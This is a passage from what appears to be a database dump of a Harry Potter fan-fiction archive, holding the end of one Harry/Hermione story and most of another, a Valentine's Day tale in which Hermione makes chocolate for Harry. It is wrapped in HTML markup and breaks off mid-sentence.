due date for a library book is an unspoken promise between the library and us, for us to return the books by that time and unharmed.” Hermione broke from her solemn image with a grin that showed off her braces. “And silly Harry, I can’t be Miss Smartypants.” She gestured to her uniform and her skirt.</font></p> <p><font>“Fine,” Harry said, grinning mischievously, “then you’re just Smarty.”</font></p> <p><font>Hermione reached over and roughed up his perpetually messy hair. “Okay, <i>Scruffy</i>.” There was a brief tousle as they tried to tickle the other and mess each other’s hair. Finally, they broke off with an unspoken agreement to let each other be (until next time). They began walking towards school once more.</font></p> <p><font>“Harry?”</font></p> <p><font>“Yes, Hermione?”</font></p> <p><font>“Really. Promise me you won’t break promises?”</font></p> <p><font>“I won’t, Smarty. Ever.”</font></p> <p><font>They smiled at each other and continued to walk toward the school in a comfortable silence. After a few minutes, Harry started to look around at the street, bored by the routine. He finally stopped to climb up a nearby fencepost. Hermione looked on with amusement.</font></p> <p><font>“What are you doing?” She asked, with laughter behind her voice.</font></p> <p><font>“Nothing,” Harry replied, and started to walk on the fence posts toward the school. A few moments passed with Harry walking on the fence and Hermione walking beside him on the street. Hermione walked up to him with hands raised.</font></p> <p><font>“What?” Harry asked.</font></p> <p><font>“Help me up.”</font></p> <p><font>Harry spluttered. “But- but you’re wearing a skirt!”</font></p> <p><font>”So?” Hermione said. “No one else is on this street right now, and you look like you’re having fun. I want to give it a try!” She stood on tiptoe and insistently pushed her hand toward him. After a moment, Harry grabbed her hand and helped her climb up. He watched her walk uncertainly in front of him.</font></p> <p><font>“Cor,” Harry said, “you’re the greatest girl in the world, Hermione.” She smiled at him in response. They jumped off the fence together and ran the rest of the way to school.</font></p> <hr/> <p><font>“Are you all right, Hermione?” </font></p> <p><font>“Did your brother send you to apologize, Ginny?”</font></p> <p><font>“No, not quite. He does want me to tell you that he knows he was out of line. I chose to come here on my own.” Ginny carefully made her way through the dense plants to reach Hermione’s refuge. It was a secret place only a select few knew; Hermione had shown Ginny the place when she had broken up with Dean Thomas last year. It was a beautiful place; surrounded by exotic and (some) magical plants, light shining on the red marble steps in the middle. It was a wonderful place to relax. </font></p> <p><font>Hermione was exactly where Ginny expected her to be. She was sitting on the second step, right next to the Seductive Fireflowers that Neville had given Ginny as a Christmas gift a few years back. Her hand was outstretched, and the blossoms of the flowers were slowly caressing and entwining with her fingers. It was a lovely sight, but Ginny noticed that Hermione’s expression was far from relaxed.</font></p> <p><font>“You know he means it, Hermione.”</font></p> <p><font>“I know.” Hermione sighed. “I know he means it every time we have a row. I once told him that he was the most insensitive wart I ever had the misfortune to meet. I love him, but he hasn’t changed a bit.”</font></p> <p><font>“Ain’t that the truth.” Ginny sat down next to her and put her arms around Hermione’s shoulders. “You avoided my question twice. Did Harry teach you that one?”</font></p> <p><font>Hermione frowned and withdrew her hand from the blossoms gently. The blossoms let her hand go slowly, as if reluctant to leave her. They started to cry softly, something both girls ignored from experience. “No, I’m not okay. I can’t believe this is happening. I can’t believe Voldemort is finally out of our lives forever, and that Harry might be too. I can’t believe Harry said..” Hermione blushed. She continued in a lowered voice, “that he said what he said.”</font></p> <p><font>“Did he tell you he loved you?”</font></p> <p><font>Hermione’s head jerked up. “How-?”</font></p> <p><font>Ginny smiled wanly. “When you have a crush on someone for the better part of three years, you notice things. The way he looked at you sometimes when you weren’t looking..”</font></p> <p><font>Hermione didn’t ask. “What am I going to tell Mum and Dad tomorrow at King’s Cross?”</font></p> <p><font>“You can tell them the truth,” Ginny said, “that Harry’s being a prat and he’ll be back when he’s done having a good sulk.”</font></p> <p><font>“Ginny!” Hermione said, half amused, half shocked.</font></p> <p><font>Ginny shrugged. “What? We both know it’s true. Don’t you think Harry did this whole thing rather melodramatically? Defeating the evilest wizard in the history of evil wizards, then telling his best friend he loves her and then disappearing? I bet Harry researched in the Restricted Section for <i>months</i> to pull off that Disapparating from Hogwarts trick. Maybe he wanted to be noted in <span class="u">Hogwarts, A History</span> so that he’d be sure of you reading up on him.”</font></p> <p><font>They giggled together, and Ginny felt that her friend would come out all right from the debacle.</font></p> <p><font>“Harry always did have a dramatic streak in him. Did I ever tell you about the time he tried to ‘defend my honor’ from a couple of bullies? He—”</font></p> <hr/> <p><font>The whole playground grew quiet. Not many in the class cared much for the bossy, too-smart-for-her-own-good girl. Few would consider Hermione a friend, but that was an insult harsher than most people would want to say to the girl. They all watched Hermione’s face grow pale from the insult, her eyes beginning to tear up. Matt Newhouse and his cronies started to grin at the sight; they were the typical British school bullies who reveled in the suffering of those smaller than they.</font></p> <p><font>The four bullies did not notice the small, scrawny boy jump off from the swings across the schoolyard. The boy ran toward the five; instinctively, the rest of the schoolchildren started to circle around them looking for the fight, like hyenas gathering at a fresh kill.</font></p> <p><font>Matt smiled viciously and opened his mouth to throw yet another jibe at the girl. He heard a cough from behind him, and as he and his group turned Harry punched him in the face. As Matt reeled back (more from surprise than actual pain) Harry leapt on him like an enraged alley cat.</font></p> <p><font>It was really no contest from the beginning. Harry was small for his age, Matt and his goons were a year older than him, and to add insult to injury, they felt no remorse at beating on him at the same time. None of these facts stopped Harry from his attempt to maim Matt for life. Harry screamed obscenities at him; he rained down punches on his face, his chest, his arms; he tried to kick and knee him in the crotch repeatedly; he scratched, he bit, and he spat in Matt’s face. By the time teachers broke up the fight Harry was a complete mess—but so was Matt.</font></p> <p><font>They were all—even Hermione—carted off to the principal in a rush. The teachers dragged them through the halls, simultaneously fussing over the injuries the boys had and scolding them for their clearly satanic behavior. The bullies were used to the lecture of course, having heard it countless times through the years, but Hermione and Harry had never heard the lecture before. They listened.</font></p> <p><font>The teachers conversed with each other, then herded the larger boys in first. Harry and Hermione\'s homeroom teacher waited with them outside for the principal to call for their appearance.</font></p> <p><font>"I can\'t believe you did this, Harry, you know better than this!" Mrs. Hanson said, fussing over the cuts and bruises that disguised Harry\'s face. "There are better ways to get results than fighting, Harry, you shouldn\'t do anything like this ever again." He nodded mechanically.</font></p> <p><font>"Stephanie? I need your help here a bit," an office lady said.</font></p> <p><font>Mrs. Hanson turned around and said, "Be right there, Emily." She turned back to the children, and said, "you two stay here." She walked toward her colleague, and left Harry and Hermione alone on the bench outside the principal\'s office.</font></p> <p><font>Hermione sniffed, and Harry turned and finally noticed she was on the verge of crying.</font></p> <p><font>“Hermione, what’s wrong?” Harry asked rather obtusely.</font></p> <p><font>Hermione hit his arm with all the force she could muster. “What do you mean, <i>what’s wrong?</i> Are you stupid? They destroyed your face!”</font></p> <p><font>Harry’s face became a study of emotions warring to be the victor, and in the end, incredulousness and indignity won out. “But- but they said - <i>Hermione</i>-"</font></p> <p><font>She hit him again, then hid her face with her hands. Muffled sobs came from her. Harry stared at her, bewildered.</font></p> <p><font>"I - I-" He stopped. "I\'m sorry, Hermione," he said.</font></p> <p><font>There was no answer. He reached out to her and win<br/><br/></font>\n<!-- FASTCLICK.COM 300x250 Medium Rectangle CODE for portkey.org -->\n</p>'),
	(230, 1, 'Chocolate\nfor Him\n\nE. C.\nR. Potter\n\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Here’s a little\nSt. Valentine’s Day special from yours truly. \nIts H/H, of course, and I hope it brings a smile to your face.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Disclaimer: The <span class="u">Harry\nPotter</span> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n<p class="MsoNormal">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n<p class="MsoNormal">It was a festive\ntime at Hogwarts School of Witchcraft and Wizardry that February.  Classes were going along fine and Voldemort\nwas laying low.  Therefore, Headmaster\nAlbus Dumbledore decided that a three-day Valentine’s Day Celebration was in\norder.  It was to be ended with a\nValentine’s dance on Valentine’s Day itself.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">On the first day\nwas to be an exhibition Quidditch competition.   The outcome of the competition did not affect the house points,\nbut the Quidditch teams from each house were more than happy to participate.  So far, Gryffindor had beat Ravenclaw and\nSlytherin had creamed Hufflepuff.  So\nthe final match of the competition was between the two rival houses.  The commentating, like usual was done by Lee\nJordan with Professor McGonagall watching over him.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“And the Quaffle\nis released and taken by Chaser Alicia Spinnet of Gryffindor!  Spinnet passes to Bell who passes back to\nSpinnet.  Whoa!  Spinnet barely avoids being creamed by one\nof the Slytherin chasers as she goes and she…SCORES!  Ten nothing to Gryffindor!</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Slytherin in\npossession!  Chaser Purcey zigzags along\npitch making his way to the Gryffindor goal posts and is going to\nshoot…YES!  Excellent bludger work by\nGeorge Weasley!  Take that you Slytherin\nscum!”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Jordan!”  McGonagall’s voice rang out as she scolded\nLee Jordan’s highly biased commentating.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Sorry\nProfessor.  Angelina Jordan in\npossession of Quaffle.  Gryffindor\nchasers fly down pitch in the Hawkshead Attacking Formation.  Angelina passes to Bell who passes\nto…NO!  Slytherin beater hit bludger\ntoward Bell who drops Quaffle!  Damn you\nSlytherin…”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Jordan!”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Sorry\nProfessor.  Slytherin in possession…No\nwait.  Fred Weasley uses the back-hand\nbludger hit to knock Quaffle out of Slytherin Chaser Montague’s hand!  Johnson catches Quaffle and SCORES!  20-zip to Gryffindor!</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Slytherin in\npossession.  Montague passes to Pucey\nwho flies up to the Gryffindor goals…WHAT THE! \nSlytherin beater Derrick hits bludger at Gryffindor keeper who gets hit\nin the head…NO!  Pucey scores and brings\nscore to 20-10!  Damn you Pucey!”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Jordan!”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Sorry\nprofessor.  Spinnet in possession of\nQuaffle.  Passes to Bell who passes to\nJohnson who passes back to Spinnet. \nSpinnet dodges a bludger!  She\ngoes up and SCO…NO!  Slytherin keeper\nBletchley blocks Spinnet’s shot!”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Hermione?  Did you come to the Quidditch match just to\nsit in the stands and read?”  Ron\nWeasley asked his best friend as he cheered Gryffindor on.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione Granger\nscowled at him.  “For your information,\nRon, I find these Quidditch matches an excellent time to catch up on my\nreading.  And I think you need some\ncatching up as well.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Ron snorted.  “Oh sure Miss ‘Hogwarts: A History’.  Come all the way to a sporting event and not\neven watch the sport.  Hermione, why are\nyou reading ‘Hogwarts: A History’ again? \nYou’ve read that book about…hey wait a minute?  What’s that smaller book you got hidden in the larger one?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“N-nothing!”  Hermione tried to slam her book shut but Ron\nwas too quick for her.  He plucked out\nthe smaller book Hermione had been reading while hiding it in between the pages\nof ‘Hogwarts: A History’.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“A cookbook?”  Ron raised an eyebrow as he skimmed the\nbook.  “Since when have you been\ninterested in cooking?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione blushed\nred as she glared at her red haired friend. \n“I just have a wide range reading topics, OK?  Unlike you.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“What’s that\nsupposed to…”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“POTTER HAS SEEN\nTHE SNITCH!”  Lee Jordan’s voice caught\nboth of their attentions as they looked up to see their other best friend speed\ntoward the small golden glint on his Firebolt. \nAll thoughts of the cookbook vanished as they both cheered their best\nfriend on.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Draco Malfoy,\nthat git…”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Jordan!”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Has also seen the\nsnitch.  But Potter’s broomstick is\nfaster.  Come on Harry!  YES! \nYes, yes, YES!  Harry Potter\ncatches the golden snitch and Gryffindor wins 170-10!”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“We won!  We won! \nHarry’s done it again!” shouted Hermione while hugging Ron and jumping\nup and down.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Now she gets\nexcited,” muttered Ron.  He grinned and\nsaid, “Lets go down and give him our congrats.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione and Ron\nmade their way to the Quidditch pitch where the Gryffindor Quidditch team was\nbeing carried on the shoulders of their cheering fans.  There he was, with his hopelessly messy\nraven black hair, his emerald green eyes behind round glasses, and his famous\nlightning bolt shaped scar on his forehead. \nHarry Potter immediately spotted his best friends making their way\ntowards him.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Ron!  Hermione!”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Harry!”  The three best friends pulled each other\ninto one big group hug and laughed out loud in the sheer joy of Gryffindor\nvictory.  Of course, they soon had to\npart as the Gryffindor team needed to make their way to Dumbledore and accept\nthe Valentine’s Quidditch Trophy.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">*          *            *            *            *            *            *            *            *            *          </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">That night,\nHermione left Gryffindor tower and snuck through the corridors.  ‘I can’t believe I’m doing this,’ she\nthought as she swiped her long bushy golden brown hair out of her face.  ‘I’m a prefect for crying out loud!  And here I am breaking the rules.’  Furthermore, she was breaking rules for very\npersonal reasons, and if it wasn’t for the fact that the reason was very\nimportant to her, she wouldn’t have even thought about breaking the rules.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione finally\nmanaged to sneak up to the room that contained a portrait of a pear.  She felt relieved that she hadn’t run into\nFilch or Mrs. Norris, although she was positive that she could bluff her way\nout by saying she was on prefect duty.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione tickled\nthe portrait of the pear, and it swung open to reveal the entrance to the\nkitchens.  She walked in.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Miss\nHermione!  Miss Hermione!”  Dobby the house elf ran up to her wearing\nhis tea cosy and mis-matching socks.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Hello,\nDobby.  Did you prepare the stuff I\nasked for?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Yes Miss\nHermione.  Dobby prepared all the stuff\nMiss requested.  Dobby is a good house\nelf.  Dobby helps Harry Potter’s\nfriends.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Thank you Dobby,”\nsaid Hermione with a sweet smile. \nUsually, when Hermione went down to the kitchens, she would try to\nconvince the house elves there to accept some of the benefits that Dumbledore\nwas more than willing to grant as part of her on going campaign with\nS.P.E.W.  This time however, she was\nhere for a completely different reason.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione proceeded\nto the counter where a whole manner of food ingredients such as cocoa, milk,\nsugar, as well as the required pots and pans were lain out.  Hermione pulled the cookbook out and turned\nto the page that she was reading at the Quidditch match.  She put on a cooking apron and started to\nmake Valentine’s chocolate.  Within half\nan hour, the rich aroma of chocolate filled the room.  Hermione sighed happily. \n‘I still can’t believe I’m crazy enough to make Valentine’s chocolate\nwith my own hands,’ she thought.  She\nwas just about to start putting on the finishing touches when the entrance to\nthe kitchens opened.  Panicking,\nHermione dove under a nearby table while accidentally knocking a roller on the\nfloor in the process.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">At first, no one\nseemed to have come into the kitchens. \nThen, a silvery invisibility cloak was whipped off and Hermione gasped\nas Harry Potter emerged in the room. \nDobby sprang onto him right away: “Harry Potter sir!  Harry Potter sir!”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Hey Dobby,” said\nHarry with a grin.  He sniffed the\nair.  “Mmmmmmm.  Chocolate. \nIs that for Valentine’s day?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Dobby glanced at\nHermione in her hiding place.  She\nmouthed, “I have nothing to do with this,” to him.  Dobby nodded and said, “House elves love making chocolate for\neach other, Harry Potter sir.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry nodded.  “So, can I have some snacks?”  Dobby was off in a flash looking for some\nextra food.  Harry started exploring the\nkitchens when he stepped on the roller and fell over.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">‘Oh no.  Harry!’ thought Hermione.  Harry seemed unhurt however as he picked up\nthe roller.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">A split second\nlater, Dobby had come back with the food. \nHe made a double take when he saw Harry on the ground.  “Harry Potter sir!  Is Harry Potter alright sir?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Yeah Dobby, I’m\nfine.  Just slipped when I stepped on\nthis roller.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Dobby took the\nroller and started beating his head on it. \n“Bad Dobby!  Bad Dobby!  Bad Dobby!”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Dobby!  It’s OK! \nDon’t beat yourself up over it.” \nDobby immediately stopped and passed the food to Harry.  “Well, this should shut Ron up for a\nwhile.  Thanks a lot Dobby,” said Harry.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Anytime, Harry\nPotter sir,” said Dobby.  Harry pulled\nthe invisibility cloak on and left the kitchens.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">After a few\nminutes, Hermione emerged from her hiding place.  ‘That was close,’ she thought. \n‘Well, now I can finish what I came to do.’  Hermione completed the finishing touches to her piece of\nValentine’s chocolate.  She smiled\nsatisfied at her handy work and wrapped it up in a gift box.  She left the kitchens and crept back to Gryffindor\ntower.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">*          *            *            *            *            *            *            *            *            *          </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">The next day, the\nGryffindor fifth years had Potions with the Slytherins.  Hermione had been up late the last night\nmaking chocolate and she was dozing on her desk.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Miss Granger will\nyou pay attention in my class,” growled Snape sounding as oily as ever.  Hermione immediately sprang up blushing\nfiercely.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“I’m sorry sir, it\nwill never happen again.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“See that it\ndoesn’t,” said Snape.  “And 15 points\nfrom Gryffindor.”  Snape went off to\nbully Neville who had melted his fourth cauldron.  Snickers were heard from the Slytherin side.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Well, I never\nthought I’d see the day when you of all people would sleep in Snape’s class,”\nwhispered Ron.  Hermione scowled.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“For your\ninformation, I was up late last night,” she hissed.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Doing what?”\nasked Harry.  “What could’ve been so\nimportant that you of all people would risk sleeping in Snape’s class?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Reading,”\nmuttered Hermione.  She hated lying to\nHarry but she didn’t want to tell him what she had really been doing.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Who would of\nthought,” muttered Ron.  Hermione\nscowled at him.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“5 points from\nGryffindor for talking in class,” snapped Snape.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">After class, Draco\nMalfoy, flanked by his bodyguards Crabbe and Goyle, walked over to the trio who\nwere packing away their books.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Well so the\nmudblood was sleeping in class?  Who\nwould of thought that would happen? \nWhat’s the matter mudblood, can’t get a date for Valentine’s day?”\nsmirked Malfoy.  Crabbe and Goyle\nchuckled stupidly.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry and Hermione\nhad to stop Ron from lunging at Malfoy and beating the crap out of him.  “Why don’t you go eat some of that chocolate\nyou got from Milicent Bulstrode and Pansy Parkinson, Malfoy.  I’ll go visit you when you get sent to the\nhospital wing for food poisoning.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Malfoy scowled at\nHarry and left with his two cronies. \n“Thanks Harry,” said Hermione.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“No problem,”\nreplied Harry, his eyes smiling.  “Well,\nwe better get a move on or we’ll be late for transfiguration.  I’m not in the mood to get on the bad side\nof McGonagall today.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">*          *            *            *            *            *            *            *            *            *          </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Later that day,\nHermione was sitting alone at dinner. \nHarry was away at Quidditch practice and Ron had gone to see him.  Hermione glanced at the boxed chocolate she\nhad made the night before.  ‘Tomorrows\nValetine’s Day,’ she thought.  ‘I wonder\nif I can ever give this chocolate him.’</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Hi Hermione.”  Ginny Weasley had come and sat down next to\nher.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Hi Ginny.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“So tomorrow’s\nValetine’s day,” said Ginny.  She\nblushed as she said “I got Harry some Honeydukes chocolate.  I’m going to give it to Hedwig and ask her\nto deliver it for me tomorrow during breakfast.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione\nchuckled.  “Oh Ginny, if you that you’ll\nonly be one of the legions of Harry’s fans.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Ginny raised her\nnose and huffed while still blushing. \n“Well maybe I’m content with just admiring Harry from a distance.”  She glanced at the boxed chocolate in front\nof Hermione.  “You also got some\nchocolate?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Made it,” said\nHermione, blushing a little.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Who’s it for?”\nasked Ginny with a teasing voice. \nBefore Hermione could protest, Ginny grabbed the box and read the name\nwritten on the piece of chocolate.  She\nraised an eyebrow and glanced at Hermione who was blushing very red.  “Well, I don’t blame you,” said Ginny.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Thanks,” mumbled\nHermione as she put the chocolate into her bag.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“I suppose you’ll\ngive it to him personally.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Actually, I’ve\nbeen considering owling it him.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Don’t do\nthat!”  Ginny’s outburst startled\nHermione.  “You have to give it to him\nin person.  You’re more than an admiring\nfan, Hermione.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">It was around that\nmoment that Harry returned from Quidditch practice.  “Hey, what’s up?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Nothing much,”\nsaid Ginny blushing a little.  “Well I\nneed to go so I’ll see you later, Hermione.” \nShe went off back to Gryffindor tower.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“So Harry,” asked\nHermione a little apprehensively.  “Do you\nhave a date for the Valentine’s Day Dance tomorrow night?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“No,” said\nHarry.  “Actually, I was planning on\ngoing stag.  How about you?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“I don’t have a\ndate.  I was a little busy recently and\nI wasn’t too concerned about finding one.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry smiled.  “Well if that’s the case, then maybe we\ncould go together.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione blushed a\nlittle but she also smiled.  “I’d like\nthat.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Alright\nthen.  I’ll see you at 7 in the common\nroom tomorrow.”  They stood up and made\ntheir way to Gryffindor Tower.  Hermione\nsmiled inwardly knowing that she would go to the dance with Harry, even if they\nwere just going as friends.  Of course,\nHarry hadn’t necessarily mentioned that they would be going as friends.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">*          *            *            *            *            *            *            *            *            *          </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">The next day,\nHarry had gone to see Hagrid.  He had\nmainly come there to avoid the bombardment of Valentine’s chocolate he had\nreceived from the owl post that morning. \nEven Hedwig had brought him some chocolate from a few girls he hadn’t\neven met before.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Hiya Harry.  You wan’ one a ‘em rock cakes I made?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry politely\ndeclined as he petted Hagrid’s boarhound, Fang.  “So are things going along fine, Hagrid?” he asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Oh, things are\njus’ righ’.  Say, who’re yeh goin’ to\nthe dance with?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Hermione.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Ohhhh.  Is tha’ so,” said Hagrid with a cheeky\ngrin.  Harry didn’t miss it.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Hagrid, what are\nyou thinking?”  Hagrid simply whistled\nand looked away.  Harry rolled his eyes\nas he took a sip of his tea.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">*          *            *            *            *            *            *            *            *            *          </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">That night,\nHermione was in her dorm room preparing for the dance.  She wanted to make sure that she could make\nthe male population of the school turn their heads when they saw her.  She also decided that she could give the\nchocolate to him during the dance.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione was\npleased to see Harry’s jaw drop when she emerged from her room.  For that matter, the entire male population\nwas staring at her and the female population was glaring at her with envy.  Hermione was wearing, a one piece,\nform-fitting, sleeveless silvery blue dress robe.  She wore the slightest hint of makeup and her golden brown hair\ncascaded around her face in beautiful ringlets.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“You look\nbeautiful,” said Harry as Hermione descended the stairs to join him.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione blushed\nred and beamed at him.  “Thank you.  You don’t look that bad yourself.”  It was true: Harry was wearing bottle green\ndress robes that went well with his eyes.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Shall we\nproceed?” said Harry as he offered her his arm.  Hemione laced her arm through his and the two proceeded down to\nthe Great Hall.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">The Great Hall was\ndecorated magnificently with beautiful hearts floating about.  The stars shone on the enchanted ceiling\ngiving a romantic glow to the room. \nDumbledore had hired a magical orchestra to play waltzes and romantic\nballads.  It was a million times better\nfrom when Lockhart had decorated the Hall for Valentine’s Day during their\nsecond year.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry and Hermione\nproceeded to their table where Ron was sitting with his date, a Ravenclaw sixth\nyear.  “Hey, you two,” he said while\nstuffing mashed potatoes into his mouth.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Hi Ron,” said\nHermione as she and Harry took their seats. \n“Having a good time?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“You bet,”\ndeclared Ron while he stuffed some Yorkshire pudding into his mouth.  Harry snickered a little at the scene Ron\nwas making.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“So, Potty and the\nmudblood decided to come together eh?” called a drawling voice.  Draco Malfoy had come up to them.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Get lost,\nMalfoy,” said Ron.  Harry placed a hand\non his shoulder to make sure Ron stayed in his seat.  Malfoy smirked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“So let me get\nthis straight, Potter.  You’re actually\nwilling to degrade yourself low enough to escort a mudblood?  Who would’ve known.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry felt anger\nbuilding up inside him.  However, he\ndecided to let it pass when someone came up behind Malfoy and said, “Draco\ndear, would you like to have a biscuit?” \nWithout looking to see who it was, Malfoy took the biscuit and popped it\ninto his mouth.  Malfoy was about to\ncontinue his verbal abuse when he all of a sudden bloated up like a balloon,\npretty much the same way Harry had once blown up his Aunt Marge.  All of the students, even some of the\nSlytherins, roared with laughter as Malfoy started floating up to the\nceiling.  McGonagall looked livid but\nshe, along with most of the other professors, were too busy trying to get\nMalfoy back down to the ground.  The\nones who had given Malfoy the biscuit were of course Fred and George who were\nnow roaring with laughter.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Great one you\ntwo,” said Ron between gales of laughter. \nEven Hermione was chuckling a little.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Finally, Dumbledore\nsignaled the orchestra to start the first dance, a slow waltz.  Hermione grinned and pulled Harry onto the\ndance floor.  Harry looked nervous.  “I-I can’t d-dance,” he stuttered.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Come on,\nHarry.  Its easy.”  Hermione placed Harry’s hands around her\nwaist and she looped her hands around Harry’s neck.  They slowly started to sway to the slow music.  After a few dances, Harry had gotten used to\ndancing and the two were simply swaying back and forth with ease with Harry\nstepping on Hermione’s foot less and less often.  Feeling content, Hermione rested her head on Harry’s chest and\nclosed her eyes.  Pretty soon, the two\nwere in their own world, simply content with dancing with each other.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">After a while,\nHarry looked down at 